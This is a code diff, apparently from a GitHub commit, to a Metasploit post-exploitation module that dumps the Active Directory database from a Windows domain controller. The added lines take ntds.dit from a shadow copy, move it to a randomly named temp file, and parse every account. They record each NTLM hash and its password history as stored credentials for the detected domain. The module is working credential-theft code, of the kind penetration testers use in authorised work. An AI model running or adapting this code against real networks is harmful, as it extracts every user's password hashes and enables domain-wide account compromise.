@@ -36,9 +36,16 @@ def run
36
36
unless ntds_file . nil?
37
37
print_status "Repairing NTDS database after copy..."
38
38
print_status repair_ntds ( ntds_file )
39
+ realm = domain_name
39
40
ntds_parser = Metasploit ::Framework ::NTDS ::Parser . new ( client , ntds_file )
40
41
ntds_parser . each_account do |ad_account |
41
42
print_good ad_account . to_s
43
+ report_hash ( ad_account . ntlm_hash . downcase , ad_account . name , realm )
44
+ ad_account . nt_history . each_with_index do |nt_hash , index |
45
+ hash_string = ad_account . lm_history [ index ] || Metasploit ::Credential ::NTLMHash ::BLANK_LM_HASH
46
+ hash_string << ":#{ nt_hash } "
47
+ report_hash ( hash_string . downcase , ad_account . name , realm )
48
+ end
42
49
end
43
50
end
44
51
end
@@ -59,6 +66,11 @@ def copy_database_file
59
66
database_file_path
60
67
end
61
68
69
+ def domain_name
70
+ result = cmd_exec ( 'cmd.exe' , '/c systeminfo | findstr /B /C:"Domain"' )
71
+ result . gsub! ( /Domain:\s +/ , '' )
72
+ end
73
+
62
74
def is_domain_controller?
63
75
status = false
64
76
if session . fs . file . exists? ( '%SystemDrive%\Windows\ntds\ntds.dit' )
@@ -108,6 +120,21 @@ def repair_ntds(path='')
108
120
cmd_exec ( "esentutl" , arguments )
109
121
end
110
122
123
+ def report_hash ( ntlm_hash , username , realm )
124
+ cred_details = {
125
+ origin_type : :session ,
126
+ session_id : session_db_id ,
127
+ post_reference_name : self . refname ,
128
+ private_type : :ntlm_hash ,
129
+ private_data : ntlm_hash ,
130
+ username : username ,
131
+ realm_key : Metasploit ::Model ::Realm ::Key ::ACTIVE_DIRECTORY_DOMAIN ,
132
+ realm_value : realm ,
133
+ workspace_id : myworkspace_id
134
+ }
135
+ create_credential ( cred_details )
136
+ end
137
+
111
138
def session_compat?
112
139
if sysinfo [ 'Architecture' ] =~ /x64/ && session . platform =~ /x86/
113
140
print_error "You are running 32-bit Meterpreter on a 64 bit system"
@@ -120,16 +147,13 @@ def session_compat?
120
147
121
148
def vss_method
122
149
id = create_shadowcopy ( "#{ expand_path ( "%SystemDrive%" ) } \\ " )
150
+ print_status "Getting Details of ShadowCopy #{ id } "
123
151
sc_details = get_sc_details ( id )
124
152
sc_path = "#{ sc_details [ 'DeviceObject' ] } \\ windows\\ ntds\\ ntds.dit"
125
153
target_path = "#{ expand_path ( "%TEMP%" ) } \\ #{ Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) ) } "
126
- copy_command = "/c copy #{ sc_path } #{ target_path } "
127
- result = cmd_exec ( 'cmd.exe' , copy_command )
128
- if result =~ /1 file\( s\) copied/
129
- return target_path
130
- else
131
- return nil
132
- end
154
+ print_status "Moving ntds.dit to #{ target_path } "
155
+ client . fs . file . mv ( sc_path , target_path )
156
+ target_path
133
157
end
134
158
135
159
end
0 commit comments